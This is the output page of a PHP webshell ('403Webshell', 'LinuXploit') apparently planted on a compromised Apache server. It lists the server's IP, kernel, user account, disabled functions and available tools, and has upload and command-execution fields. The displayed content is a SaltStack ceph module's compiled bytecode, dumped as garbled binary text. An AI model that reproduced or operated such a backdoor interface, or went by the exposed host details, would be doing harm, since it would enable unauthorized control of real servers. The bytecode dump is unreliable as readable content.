403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/ceph.cpython-310.pyc
o

;j��@sbdZddlZddlZddlmZmZe�e�Z	dd�Z
dd�Zdd	�Zd
d�Z
dd
�Zdd�ZdS)z5
Manage ceph with salt.

.. versionadded:: 2016.11.0
�N)�CommandExecutionError�CommandNotFoundErrorcC�|d|id�S)z6
    Utility function: Return structure unchanged
    T��name�resultZcomment�changes��r�msgr	r	�D/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/ceph.py�
_unchanged�r
cCr)z1
    Utility function: Return structure test
    Nrr	r
r	r	r�_testrrcCr)z2
    Utility function: Return structure error
    Frr	r
r	r	r�_errorrrcKs|d||d�S)z4
    Utility function: Return structure changed
    Trr	)rrrr	r	r�_changed$rrcCstjj�tjj�|��S)z4
    Convert ordered dictionary to a dictionary
    )�salt�utils�json�loads�dumps)Zinput_ordered_dictr	r	r�_ordereddict2dict+src
Ks�t|�}|dur
t|d�Stdrt|d�Sztddi|��}Wnttfy;}zt||j�WYd}~Sd}~ww|rCt|d�St|d�S)	a[
    Quorum state

    This state checks the mon daemons are in quorum. It does not alter the
    cluster but can be used in formula as a dependency for many cluster
    operations.

    Example usage in sls file:

    .. code-block:: yaml

        quorum:
          sesceph.quorum:
            - require:
              - sesceph: mon_running
    NzInvalid parameters:%s�testzcluster quorumzceph.cluster_quorumzcluster is quorumzcluster is not quorumr	)	rrZ__opts__rZ__salt__rr�strerrorr
)r�kwargs�
parametersZcluster_quorum�errr	r	r�quorum2s

��

r)�__doc__�loggingZsalt.utils.jsonrZsalt.exceptionsrr�	getLogger�__name__�logr
rrrrrr	r	r	r�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit